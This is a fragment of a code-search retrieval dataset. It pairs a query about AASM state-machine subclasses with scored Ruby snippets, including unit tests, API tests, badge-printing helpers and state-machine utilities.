"text": "def printer(attendees)\n batch_badge_creator(attendees).each {|attendee| puts attendee}\n assign_rooms(attendees).each{|room| puts room}\nend",
"title": ""
},
{
"docid": "9491bf8998769e8f45d1d3e1a95c2be1",
"score": "0.5172287",
"text": "def test_ut_cbtt11a_t5_014\n warning = Warning.find(3425)\n # create comment for warning\n new_comment = Comment.new\n new_comment.warning_description = \"warning samdsfdf\"\n new_comment.status = 1\n new_comment.risk_type_id = 4\n new_comment.warning_id = 3425\n new_comment.sample_source_code = \"sample source code\"\n new_comment.save\n # create result id\n warning_result = WarningsResult.new\n warning_result.warning_id = warning.id\n warning_result.result_id = 123\n warning_result.rule_level = Warning.find(warning).rule_level\n warning_result.save\n # create issue\n warning.create_issues\n corresponding_issue = WarningIssue.find_by_warning_id(warning.id)\n new_issue = RedmineIssue.find(corresponding_issue.redmine_issue_id)\n # create issue note for Issue\n note_issue = RedmineJournal.new\n note_issue.journalized_id = new_issue.id\n note_issue.journalized_type = \"Issue\"\n note_issue.user_id = 1\n note_issue.notes = new_comment.warning_description\n note_issue.save\n issue_note = RedmineJournal.find_by_journalized_id(corresponding_issue.redmine_issue_id)\n assert_equal(note_issue.journalized_id, new_issue.id)\n assert_equal(issue_note.notes, new_comment.warning_description)\n assert_equal(new_issue.id, corresponding_issue.redmine_issue_id)\n end",
"title": ""
},
{
"docid": "ed827ad47f26f518e512bcecbbc9d1b9",
"score": "0.51654303",
"text": "def test_promos_leaderboard\n # Setup\n @user = setup_user\n\n assign_http(Config['panda']['host'])\n\n lookup_params = { 'promo_id' => @active_promo_id }\n\n get '/pros/lookup', lookup_params\n assert_response(@response, :success)\n assert_equal(@active_promo, @parsed_response['Promo']['Code'])\n refute(@parsed_response['TeamLeaderboard'], @parsed_response)\n refute_empty(@parsed_response['Promo']['TeamNames'], @parsed_response['Promo'])\n teams = @parsed_response['Promo']['TeamNames'].shuffle\n my_team = teams[0]\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n user_params = {\n 'promo_id' => @active_promo_id,\n 'my_teams' => my_team\n }\n\n user_params['promo_team'] = my_team\n\n put '/usr', user_params, headers\n assert_response(@response, :success)\n assert_equal(my_team, @parsed_response['promo_team'], @parsed_response['promo_team'])\n assert(@parsed_response['promo_teams'].include?(my_team), @parsed_response['promo_teams'])\n\n # Step 1\n assign_http(Config['panda']['host'])\n\n lookup_params['include_team_leaderboard'] = true\n\n get '/pros/lookup', lookup_params\n assert_response(@response, :success)\n assert_equal(@active_promo, @parsed_response['Promo']['Code'])\n assert(@parsed_response['TeamLeaderboard'], @parsed_response)\n refute_empty(@parsed_response['TeamLeaderboard'])\n assert(@parsed_response['TeamLeaderboard'].find { |team| team['Name'] == my_team },\n \"Expected #{my_team} to be listed within the TeamLeaderboard for lookup: #{@parsed_response['TeamLeaderboard']}\")\n\n # Step 2\n assign_http(Config['snake']['host'])\n\n promo_params = {\n 'promo_id' => @active_promo_id,\n 'access_token' => @user.oauth_token,\n }.merge(api_key)\n\n get '/pros/leaderboard', promo_params\n assert_response(@response, :success)\n promo = @parsed_response['promo']\n assert_equal(@active_promo_id , promo['id'], promo)\n refute_empty(promo['team_names'], promo)\n leaderboard = @parsed_response['leaderboard']\n leaderboard.each do |team|\n leaderboard.delete(team) if team == 'red' || team == 'blue' # old teams still in promo, no longer used\n end\n team_status = leaderboard.find { |team| team['name'] == my_team }\n assert(team_status, \"Expected team #{my_team} to be listed within the team leaderboard list: #{team_status}\")\n initial_team_contributed_points = team_status['contributed_points']\n\n top_users = @parsed_response['top_users']\n assert_equal((10 + 1), top_users.length)\n user_status = top_users.find { |user| user['user_id'] == @user.id }\n assert(user_status, \"Expected user id #{@user.id} to be listed within the top_users list: #{top_users}\")\n assert_equal(0, user_status['contributed_points'], user_status)\n\n # Step 3\n business_listings = get_promo_listings\n int_xxid = business_listings.sample['Int_Xxid']\n\n # Step 4\n search_opts = { 'promo_id' => @active_promo_id }\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n assert(@parsed_response['Business'], @parsed_response)\n promo_points = get_promo_points_for_business(@parsed_response['Business']['Int_Xxid'])\n total_points = (promo_points['review_points'] + promo_points['photo_points'])\n\n # Step 5\n params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => 'XX3',\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => int_xxid,\n 'oauth_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n }.merge(api_key)\n\n put '/snake/usr/reviews', params\n assert_response(@response, :success)\n\n # 4.18.1 -- User submits multiple photo same int_xxid and promo, no additional points should be awarded | AS-7171\n 2.times do\n upload_and_link_image_with_promo_for_int_xxid_by_user(int_xxid, @user, @active_promo_id)\n assert_response(@response, :success)\n end\n\n # Step 6\n get '/pros/leaderboard', promo_params\n assert_response(@response, :success)\n leaderboard = @parsed_response['leaderboard']\n leaderboard.each do |team|\n leaderboard.delete(team) if team == 'red' || team == 'blue' # old teams still in promo, no longer used\n end\n updated_team_status = leaderboard.find { |team| team['name'] == my_team }\n assert(updated_team_status, \"Expected team #{my_team} to be listed within the team leaderboard list: #{team_status}\")\n\n top_users = @parsed_response['top_users']\n assert_equal((10 + 1), top_users.length)\n updated_user_status = top_users.find { |user| user['user_id'] == @user.id }\n assert(updated_user_status, \"Expected user id #{@user.id} to be listed within the top_users list: #{top_users}\")\n\n # Check User Stats\n assert_equal(total_points, updated_user_status['contributed_points'],\n \"Expected Updated User Stats Contributed Points: #{updated_user_status['contributed_points']}, to match Total Points for Review and 1x Photo: #{total_points}\")\n # Check Team Stats\n assert_equal((initial_team_contributed_points + total_points), updated_team_status['contributed_points'],\n \"Expected Updated Team Stats Contributed Points: #{updated_team_status['contributed_points']}, to match Initial Contributed Points + Total Points for Review and 1x Photo: #{(initial_team_contributed_points + total_points)}\")\n\n # Step 7\n leaderboard_limit = 1\n top_users_limit = rand(1..9)\n\n promo_params['h'] = leaderboard_limit\n promo_params['h_users'] = top_users_limit\n\n get '/pros/leaderboard', promo_params\n assert_response(@response, :success)\n assert_equal(1, @parsed_response['promo']['enable_user_leaderboard'])\n assert_equal((top_users_limit + 1), @parsed_response['top_users'].length)\n if @parsed_response['leaderboard'][0]['name'] == my_team\n assert_equal(leaderboard_limit, @parsed_response['leaderboard'].length)\n else\n assert_equal((leaderboard_limit + 1), @parsed_response['leaderboard'].length)\n end\n end",
"title": ""
},
{
"docid": "2bec0d3bd64dbbac2cf3b2bd210635ab",
"score": "0.51643497",
"text": "def batch_badge_creator(names)\n badges_messages = names.collect {\n |name| badge_maker(name)\n }\n return(badges_messages)\nend",
"title": ""
},
{
"docid": "08b60d6119abcc8a24ecb4e7967a24d9",
"score": "0.516105",
"text": "def test_ut_cbtt11a_t5_010\n warning = Warning.find(3425)\n # create comment for warning\n new_comment = Comment.new\n new_comment.warning_description = \"warning samdsfdf\"\n new_comment.status = 1\n new_comment.risk_type_id = 4\n new_comment.warning_id = 3425\n new_comment.sample_source_code = \"sample source code\"\n new_comment.save\n # create result id\n warning_result = WarningsResult.new\n warning_result.warning_id = warning.id\n warning_result.result_id = 123\n warning_result.rule_level = Warning.find(warning).rule_level\n warning_result.save\n # create issue\n warning.create_issues\n corresponding_issue = WarningIssue.find_by_warning_id(warning.id)\n new_issue = RedmineIssue.find(corresponding_issue.redmine_issue_id)\n # create issue note for Issue\n note_issue = RedmineJournal.new\n note_issue.journalized_id = new_issue.id\n note_issue.journalized_type = \"Issue\"\n note_issue.user_id = 1\n note_issue.notes = new_comment.warning_description\n note_issue.save\n issue_note = RedmineJournal.find_by_journalized_id(corresponding_issue.redmine_issue_id)\n assert_equal(note_issue.journalized_id, new_issue.id)\n assert_equal(issue_note.notes, new_comment.warning_description)\n assert_equal(new_issue.id, corresponding_issue.redmine_issue_id)\n end",
"title": ""
},
{
"docid": "6c8c9b5e7011ba9af41773c2e1dbd4b7",
"score": "0.5161044",
"text": "def test_check_in_guests__room_has_guests\n result1 = @room1.check_in_guests(@guest_group1)\n result2 = @room1.check_in_guests(@guest_group2)\n guests_in_room = @room1.current_guests()\n guest1_money = @guest1.money().round(3)\n guest4_money = @guest4.money().round(3)\n takings = @room1.takings()\n assert_equal(@guest_group1, guests_in_room)\n assert_equal(5.000, guest1_money)\n assert_equal(15.000, guest4_money)\n assert_equal([\"Woohoo!\", \"Woohoo!\"], result1)\n assert_nil(result2)\n assert_equal(50, takings)\n end",
"title": ""
},
{
"docid": "fddb83733c5e7ae42c9997e32966721b",
"score": "0.5161029",
"text": "def test_assign_moderator_reviews\n # Setup\n @user = setup_user\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 1\n business_listings = get_promo_listings\n assert(business_listings.length > 1)\n\n # Step 2\n assign_http(Config['panda']['host'])\n\n count = 0\n business_listings.each do |business|\n break if count > 2\n\n params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => 'XX3',\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => business['Int_Xxid'],\n 'oauth_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id\n }\n\n put '/usr/reviews', params\n assert_response(@response, :success)\n\n count += 1\n end\n\n # Step 3\n moderator_id = unique_moderator_id\n\n params = {\n 'promo_id' => @active_promo_id,\n 'moderator_id' => moderator_id,\n 'limit' => 1\n }\n\n put '/mod/reviews/assign', params\n assert_response(@response, :success)\n assert_equal(1, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(moderator_id, review['ModeratorId'], @parsed_response)\n assert_equal(@active_promo_id, review['PromoId'], @parsed_response)\n end\n\n params['limit'] = 2\n\n put '/mod/reviews/assign', params\n assert_response(@response, :success)\n assert_equal(3, @parsed_response['Reviews'].length, @parsed_response)\n @parsed_response['Reviews'].each do |review|\n assert_equal(moderator_id, review['ModeratorId'], @parsed_response)\n assert_equal(@active_promo_id, review['PromoId'], @parsed_response)\n end\n end",
"title": ""
},
{
"docid": "d1d9e47e8c4b6e15795baa4413eb80cb",
"score": "0.5153013",
"text": "def test_get_workflow_description_existing_action\n good_alice_in_db\n get '/workflow/alice/action/collect_alicedocs_from_source/description.json' do\n assert last_response.ok?\n result = JSON.parse( last_response.body )\n expected_result = {\n 'type' => 'Armagh::StandardActions::TWTestCollect',\n 'supertype' => 'Armagh::Actions::Collect',\n 'parameters' => [\n {\"name\"=>\"name\", \"description\"=>\"Name of this action configuration\", \"type\"=>\"string\", \"required\"=>true, \"default\"=>nil, \"prompt\"=>\"example-collect (Warning: Cannot be changed once set)\", \"group\"=>\"action\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"collect_alicedocs_from_source\", \"options\"=>nil},\n {\"name\"=>\"active\", \"description\"=>\"Agents will run this configuration if active\", \"type\"=>\"boolean\", \"required\"=>true, \"default\"=>false, \"prompt\"=>nil, \"group\"=>\"action\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>false, \"options\"=>nil},\n {\"name\"=>\"workflow\", \"description\"=>\"Workflow this action config belongs to\", \"type\"=>\"string\", \"required\"=>true, \"default\"=>nil, \"prompt\"=>\"<WORKFLOW-NAME>\", \"group\"=>\"action\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"alice\", \"options\"=>nil},\n {\"default\"=>false, \"description\"=>\"Not normally displayed\", \"error\"=>nil, \"group\"=>\"action\", \"name\"=>\"retired\", \"options\"=>nil, \"prompt\"=>nil, \"required\"=>true, \"type\"=>\"boolean\", \"value\"=>false, \"warning\"=>nil},\n {\"name\"=>\"schedule\", \"description\"=>\"Schedule to run the collector. Cron syntax. If not set, Collect must be manually triggered.\", \"type\"=>\"string\", \"required\"=>false, \"default\"=>nil, \"prompt\"=>\"*/15 * * * *\", \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"7 * * * *\", \"options\"=>nil},\n {\"name\"=>\"archive\", \"description\"=>\"Archive collected documents\", \"type\"=>\"boolean\", \"required\"=>true, \"default\"=>true, \"prompt\"=>nil, \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>false, \"options\"=>nil},\n {\"name\"=>\"decompress\", \"description\"=>\"Decompress (gunzip) incoming documents\", \"type\"=>\"boolean\", \"required\"=>true, \"default\"=>false, \"prompt\"=>nil, \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>false, \"options\"=>nil},\n {\"name\"=>\"extract\", \"description\"=>\"Extract incoming archive files\", \"type\"=>\"boolean\", \"required\"=>true, \"default\"=>false, \"prompt\"=>nil, \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>false, \"options\"=>nil},\n {\"name\"=>\"extract_format\", \"description\"=>\"The extraction mechanism to use. Selecting auto will automatically determine the format based on incoming filename.\", \"type\"=>\"string\", \"required\"=>true, \"default\"=>\"auto\", \"prompt\"=>nil, \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"auto\", \"options\"=>[\"auto\", \"7zip\", \"tar\", \"tgz\", \"zip\"]},\n {\"name\"=>\"extract_filter\", \"description\"=>\"Only extracted files matching this filter will be processed. If not set, all files will be processed.\", \"type\"=>\"string\", \"required\"=>false, \"default\"=>nil, \"prompt\"=>\"*.json\", \"group\"=>\"collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>nil, \"options\"=>nil},\n {\"name\"=>\"docspec\", \"description\"=>\"The type of document this action accepts\", \"type\"=>\"docspec\", \"required\"=>true, \"default\"=>\"__COLLECT__:ready\", \"prompt\"=>nil, \"group\"=>\"input\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"__COLLECT__collect_alicedocs_from_source:ready\", \"valid_state\"=>\"ready\", \"options\"=>nil},\n {\"name\"=>\"docspec\", \"description\"=>\"The docspec of the default output from this action\", \"type\"=>\"docspec\", \"required\"=>true, \"default\"=>nil, \"prompt\"=>nil, \"group\"=>\"output\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"a_alicedoc:ready\", \"valid_states\"=>[\"ready\", \"working\"], \"options\"=>nil},\n {\"name\"=>\"docspec2\", \"description\"=>\"collected documents of second type\", \"type\"=>\"docspec\", \"required\"=>true, \"default\"=>nil, \"prompt\"=>nil, \"group\"=>\"output\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>\"b_alicedocs_aggr_big:ready\", \"valid_states\"=>[\"ready\", \"working\"], \"options\"=>nil},\n {\"name\"=>\"count\", \"description\"=>\"desc\", \"type\"=>\"integer\", \"required\"=>true, \"default\"=>6, \"prompt\"=>nil, \"group\"=>\"tw_test_collect\", \"warning\"=>nil, \"error\"=>nil, \"value\"=>6, \"options\"=>nil},\n {\"group\"=>\"action\", \"error\"=>nil},\n {\"group\"=>\"collect\", \"error\"=>nil}\n ]}\n assert_equal expected_result, result\n end\n end",
"title": ""
},
{
"docid": "5c709dad18b9489f43351f89e35bf990",
"score": "0.51513314",
"text": "def test_exercise_1111\n verify_method :exercise_1111,\n :with => [{param: [[true]], expect: \" 1\\n1*\\n\"},\n {param: [[false]], expect: \" 1\\n1 \\n\"},\n {param: [[true, false]], expect: \" 12\\n1* \\n\"},\n {param: [[true, false], [true, false]], expect: \" 12\\n1* \\n2* \\n\"}]\n end",
"title": ""
},
{
"docid": "648cdd9c70b9c93165670ffa17ac06df",
"score": "0.51475084",
"text": "def test_ut_cbtt11a_t5_005\n warning = Warning.find(3425)\n # delete all Warning Issue\n warning_issues = WarningIssue.find(:all)\n warning_issues.each do |warning_issue|\n WarningIssue.delete_all(:warning_id => warning_issue.warning_id)\n end\n # create result id\n warning_result = WarningsResult.new\n warning_result.warning_id = warning.id\n warning_result.result_id = 123\n warning_result.rule_level = Warning.find(warning).rule_level\n warning_result.save\n # create issue\n warning.create_issues\n corresponding_issue = WarningIssue.find_by_warning_id(warning.id)\n new_issue = RedmineIssue.find(corresponding_issue.redmine_issue_id)\n issue_note = RedmineJournal.find_by_journalized_id(corresponding_issue.redmine_issue_id)\n assert_equal(issue_note, nil)\n assert_equal(new_issue.id, corresponding_issue.redmine_issue_id)\n end",
"title": ""
},
{
"docid": "ad3aaece8038f6e7ce3fd51e1343a8e1",
"score": "0.5147104",
"text": "def flaky_specs\n @flaky_specs ||= influx_data.lazy.each_with_object({}) do |data, result|\n # Do not consider failures in same merge request\n records = data.records.reject { |r| r.values[\"_value\"] == merge_request_iid }\n\n runs = records.count\n failed = records.count { |r| r.values[\"status\"] == \"failed\" }\n pass_rate = 100 - ((failed.to_f / runs.to_f) * 100)\n\n # Consider spec with a pass rate less than 98% as flaky\n result[records.last.values[\"testcase\"]] = pass_rate if pass_rate < 98\n end.compact\n end",
"title": ""
},
{
"docid": "ba9685734871ecaecd0b5b8f68778299",
"score": "0.5147053",
"text": "def printer(array)\n batch_badge_creator(array).each do |message| \n puts \"#{message}\"\nend \n assign_rooms(array).each do |messages|\n puts \"#{messages}\"\nend \nend",
"title": ""
},
{
"docid": "5b03202f3d59567fe43ce97e904a727a",
"score": "0.51432866",
"text": "def test_pipeline\n a = \"/#{__method__}/\"\n data = [\"a\",\"b\",\"c\", \"d\"]\n responses = requests(data.map { |x| Message.new(x, {:subject=>\"POST\", :address=>a+x})})\n assert_equal(data.map { |x| \"response=#{x}\" }, responses.map { |m| m.body })\n end",
"title": ""
}
] |
727aa0035631117a3fb125594a2375d5
|
allow a AASM::Base subclass to be used for state machine
|
[
{
"docid": "a3a5986cd85a3cbfa21a7450b27cfd7b",
"score": "0.0",
"text": "def with_klass=(_arg0); end",
"title": ""
}
] |
[
{
"docid": "121c5d8ec0aec6c4568d80fdf7f832b7",
"score": "0.6401368",
"text": "def next_state_class\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "a2f4583041942b349af722a61e7a820f",
"score": "0.63031584",
"text": "def inherited(subclass)\n subclass.inherit_state_machine_template(state_machine_template)\n end",
"title": ""
},
{
"docid": "45baee58a8c3f7adf7ae0eaad5dfc2af",
"score": "0.62983036",
"text": "def state_class(&blk)\n Class.new do\n extend SimpleState\n state_machine(&blk)\n end.new\nend",
"title": ""
},
{
"docid": "cd9babfde151d32593c5ec2dc35185fd",
"score": "0.6294923",
"text": "def baseclass; end",
"title": ""
},
{
"docid": "220ce2db850929988d2ec56f02ff53ba",
"score": "0.6266281",
"text": "def inherited( subclass )\n\t\t\tsuper\n\t\t\tsubclass.instance_variable_set( :@opcode_map, self.opcode_map.dup )\n\t\t\tsubclass.instance_variable_set( :@op_callbacks, self.op_callbacks.dup )\n\t\tend",
"title": ""
},
{
"docid": "318d9899e1c4da4cd894a4919b137dab",
"score": "0.6239579",
"text": "def aasm(*args, &block)\n if args[0].is_a?(Symbol) || args[0].is_a?(String)\n # using custom name\n state_machine_name = args[0].to_sym\n options = args[1] || {}\n else\n # using the default state_machine_name\n state_machine_name = :default\n options = args[0] || {}\n end\n\n AASM::StateMachineStore.fetch(self, true).register(state_machine_name, AASM::StateMachine.new(state_machine_name))\n\n # use a default despite the DSL configuration default.\n # this is because configuration hasn't been setup for the AASM class but we are accessing a DSL option already for the class.\n aasm_klass = options[:with_klass] || AASM::Base\n\n raise ArgumentError, \"The class #{aasm_klass} must inherit from AASM::Base!\" unless aasm_klass.ancestors.include?(AASM::Base)\n\n @aasm ||= Concurrent::Map.new\n if @aasm[state_machine_name]\n # make sure to use provided options\n options.each do |key, value|\n @aasm[state_machine_name].state_machine.config.send(\"#{key}=\", value)\n end\n else\n # create a new base\n @aasm[state_machine_name] = aasm_klass.new(\n self,\n state_machine_name,\n AASM::StateMachineStore.fetch(self, true).machine(state_machine_name),\n options\n )\n end\n @aasm[state_machine_name].instance_eval(&block) if block # new DSL\n @aasm[state_machine_name]\n end",
"title": ""
},
{
"docid": "0e3a853eb0a0b091bb7cd6e4cd75075f",
"score": "0.61671793",
"text": "def state_machine; end",
"title": ""
},
{
"docid": "0e3a853eb0a0b091bb7cd6e4cd75075f",
"score": "0.61671793",
"text": "def state_machine; end",
"title": ""
},
{
"docid": "0e3a853eb0a0b091bb7cd6e4cd75075f",
"score": "0.61671793",
"text": "def state_machine; end",
"title": ""
},
{
"docid": "0e3a853eb0a0b091bb7cd6e4cd75075f",
"score": "0.61671793",
"text": "def state_machine; end",
"title": ""
},
{
"docid": "0e3a853eb0a0b091bb7cd6e4cd75075f",
"score": "0.61671793",
"text": "def state_machine; end",
"title": ""
},
{
"docid": "0e3a853eb0a0b091bb7cd6e4cd75075f",
"score": "0.61671793",
"text": "def state_machine; end",
"title": ""
},
{
"docid": "e1cebde27e047bf83b8f95a278d13853",
"score": "0.6136452",
"text": "def inherited(subclass); end",
"title": ""
},
{
"docid": "b5a0e6a1b41ce06be8045ebfa8d9a24f",
"score": "0.6110788",
"text": "def mixin(state); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.6101382",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.6101382",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.6101382",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.6101382",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.6101382",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.6101382",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "eecc79f68f5be1c0f004efe0b826adb0",
"score": "0.6083969",
"text": "def baseclass #:nodoc:\n end",
"title": ""
},
{
"docid": "eecc79f68f5be1c0f004efe0b826adb0",
"score": "0.6083969",
"text": "def baseclass #:nodoc:\n end",
"title": ""
},
{
"docid": "e939ce516657b8c03354759e06831c75",
"score": "0.59988964",
"text": "def state_machine\n if @state_machine then @state_machine\n elsif superclass.respond_to?(:state_machine)\n superclass.state_machine\n end\n end",
"title": ""
},
{
"docid": "5dd1a74b0f115cd47711b80cc3db8b33",
"score": "0.59704083",
"text": "def baseclass #:nodoc:\n end",
"title": ""
},
{
"docid": "98b7012c3ca45c2193fca05fba0d1b44",
"score": "0.5964663",
"text": "def instance_class\n StateMachine\n end",
"title": ""
},
{
"docid": "8161a636d149659bd30769682e90dd02",
"score": "0.58492446",
"text": "def build(&blk)\n @klass.class_eval <<-RUBY, __FILE__, __LINE__ + 1\n include ::SimpleState::Mixins\n RUBY\n\n # Create an anonymous module which will be added to the state machine\n # class's inheritance chain.\n mod = @mod = Module.new\n mod.class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def self.inspect\n \"SimpleState::#{@klass}AnonMixin\"\n end\n\n # Handles the change of state.\n # @api private\n def _change_state_using_event!(event)\n self.state = self.class._determine_new_state(self.state, event)\n end\n\n # Returns if the passed event is permitted with the instance in it's\n # current state.\n # @api public\n def event_permitted?(event)\n self.class._event_permitted?(self.state.to_sym, event)\n end\n\n # Returns true if the given symbol matches the current state.\n # @api public\n def in_state?(state)\n self.state.to_sym == state\n end\n RUBY\n\n # Declare the state machine rules.\n instance_eval(&blk)\n\n # Insert the anonymous module.\n @klass.class_eval <<-RUBY, __FILE__, __LINE__ + 1\n include mod\n RUBY\n end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5844343",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5844343",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5844343",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5844343",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5844343",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "f447cf23f5a32da61a3a69ed782522c2",
"score": "0.58432305",
"text": "def base_class; end",
"title": ""
},
{
"docid": "547aa7945562d0957dd9de39fa1534fc",
"score": "0.57866764",
"text": "def SClass(target, bodystmt); end",
"title": ""
},
{
"docid": "09acda7c5fcb4f7fd6d53143cc1d8251",
"score": "0.5785351",
"text": "def define(sql_state, description)\n parent = class_for(sql_state)\n if superclass.respond_to?(:class_for, true)\n parent ||= superclass.send(:class_for, sql_state)\n end\n super(sql_state, description, parent)\n end",
"title": ""
},
{
"docid": "94016abe628f509bb786a4de1b47d543",
"score": "0.577006",
"text": "def superclass; end",
"title": ""
},
{
"docid": "94016abe628f509bb786a4de1b47d543",
"score": "0.577006",
"text": "def superclass; end",
"title": ""
},
{
"docid": "5bebb50e6017c68ad99e99d9a4ff9fc8",
"score": "0.5769915",
"text": "def inherited(child_class); end",
"title": ""
},
{
"docid": "0b0799d401e4ee28cec90e753377b0b0",
"score": "0.5691594",
"text": "def inherited(subcls); subcls.send(:class_init) end",
"title": ""
},
{
"docid": "d9b75671b0b1f005ab9971f279b2d0f2",
"score": "0.5680514",
"text": "def aasm(name=:default)\n unless AASM::StateMachineStore.fetch(self.class, true).machine(name)\n raise AASM::UnknownStateMachineError.new(\"There is no state machine with the name '#{name}' defined in #{self.class.name}!\")\n end\n @aasm ||= Concurrent::Map.new\n @aasm[name.to_sym] ||= AASM::InstanceBase.new(self, name.to_sym)\n end",
"title": ""
},
{
"docid": "6c272e4a7745d21128dbffac211cf67c",
"score": "0.5676072",
"text": "def base_klass; end",
"title": ""
},
{
"docid": "f0bc5c0e7ce69482ec45ee7715594296",
"score": "0.56610405",
"text": "def initialize base\n @base = base\n end",
"title": ""
},
{
"docid": "b10913db653625ae64db9b5e95613326",
"score": "0.56383985",
"text": "def setup_state( state )\n override = self.class.name == state.class.name\n Base.components.each do |comp| \n instance_eval \"#{comp}.merge( state.#{comp}, override ) unless state.#{comp}.nil?\" \n end\n end",
"title": ""
},
{
"docid": "b10913db653625ae64db9b5e95613326",
"score": "0.56383985",
"text": "def setup_state( state )\n override = self.class.name == state.class.name\n Base.components.each do |comp| \n instance_eval \"#{comp}.merge( state.#{comp}, override ) unless state.#{comp}.nil?\" \n end\n end",
"title": ""
},
{
"docid": "c9560a17fae18941b0c61aaf6f6b9273",
"score": "0.5636785",
"text": "def inherited( subclass )\n\t\t\t\tsubclass.module_eval { public_class_method :new }\n\t\t\t\tsuper\n\t\t\tend",
"title": ""
},
{
"docid": "d9ff1702ba1624b80341c31065e58526",
"score": "0.5623678",
"text": "def inherited( subclass )\n\t\t\tsubclass.module_eval { public_class_method :new }\n\t\t\tsuper\n\t\tend",
"title": ""
},
{
"docid": "dcc211971526157d25963d5eb1480af0",
"score": "0.5608549",
"text": "def parent_class=(_arg0); end",
"title": ""
},
{
"docid": "5ea0b25a3d4f2909c717a4611c2027c5",
"score": "0.56060266",
"text": "def subclass(match, description, options, helpers, &block); end",
"title": ""
},
{
"docid": "613731daaba4612ef6835532db94ec03",
"score": "0.5598831",
"text": "def successor(state)\n raise \"child class must implement successor\"\n end",
"title": ""
},
{
"docid": "0891d78ca8be1c2be834ba65505a4c3b",
"score": "0.5595727",
"text": "def inherited( subclass )\n\t\t\tsuper\n\t\t\tsubclass.instance_variable_set( :@content_type_transforms, @content_type_transforms.dup )\n\t\t\tsubclass.instance_variable_set( :@transform_names, @transform_names.dup )\n\t\tend",
"title": ""
},
{
"docid": "e0dceace5c90bcab8752beb5e14d51f7",
"score": "0.55953383",
"text": "def on_class(constant, superclass, bodystmt); end",
"title": ""
},
{
"docid": "e2db455903ac912c69c40d8f1d7ecb4b",
"score": "0.55929303",
"text": "def base_class?; end",
"title": ""
},
{
"docid": "063e560f168e98f9b84eaedf8281c297",
"score": "0.55527717",
"text": "def base; end",
"title": ""
},
{
"docid": "063e560f168e98f9b84eaedf8281c297",
"score": "0.55527717",
"text": "def base; end",
"title": ""
},
{
"docid": "063e560f168e98f9b84eaedf8281c297",
"score": "0.55527717",
"text": "def base; end",
"title": ""
},
{
"docid": "063e560f168e98f9b84eaedf8281c297",
"score": "0.55527717",
"text": "def base; end",
"title": ""
},
{
"docid": "063e560f168e98f9b84eaedf8281c297",
"score": "0.55527717",
"text": "def base; end",
"title": ""
},
{
"docid": "063e560f168e98f9b84eaedf8281c297",
"score": "0.55527717",
"text": "def base; end",
"title": ""
},
{
"docid": "e889b24e4e6ed1835f9229cbfa25bc18",
"score": "0.5549116",
"text": "def process_sclass(exp)\n super(exp) do\n Scope.public { process_until_empty(exp) } # Process the superclass with public visibility\n end\n rescue StandardError => e\n sdebug('#process_sclass', e)\n exp\n end",
"title": ""
},
{
"docid": "d87dc13494d5cce598acd30e5710c0df",
"score": "0.55366373",
"text": "def process_state\n PROCESS_STATES[super] or :unknown\n end",
"title": ""
},
{
"docid": "ca8260de6785601f2e7e18112fcffd3e",
"score": "0.5532698",
"text": "def aasm(_)\n OpenStruct.new(current_state: @state)\n end",
"title": ""
},
{
"docid": "ae32f4a266db6d6dc2cc1873f83c6407",
"score": "0.5532463",
"text": "def class() end",
"title": ""
},
{
"docid": "d3a26787dcc6f22bda976a88036b9334",
"score": "0.55096996",
"text": "def inherited( subclass )\n\t\t\tsuper\n\t\t\tsubclass.instance_variable_set( :@status_handlers, @status_handlers.dup )\n\t\tend",
"title": ""
},
{
"docid": "3c87150b2ece19493d047999dd259ff4",
"score": "0.55092543",
"text": "def superclass=(object); end",
"title": ""
},
{
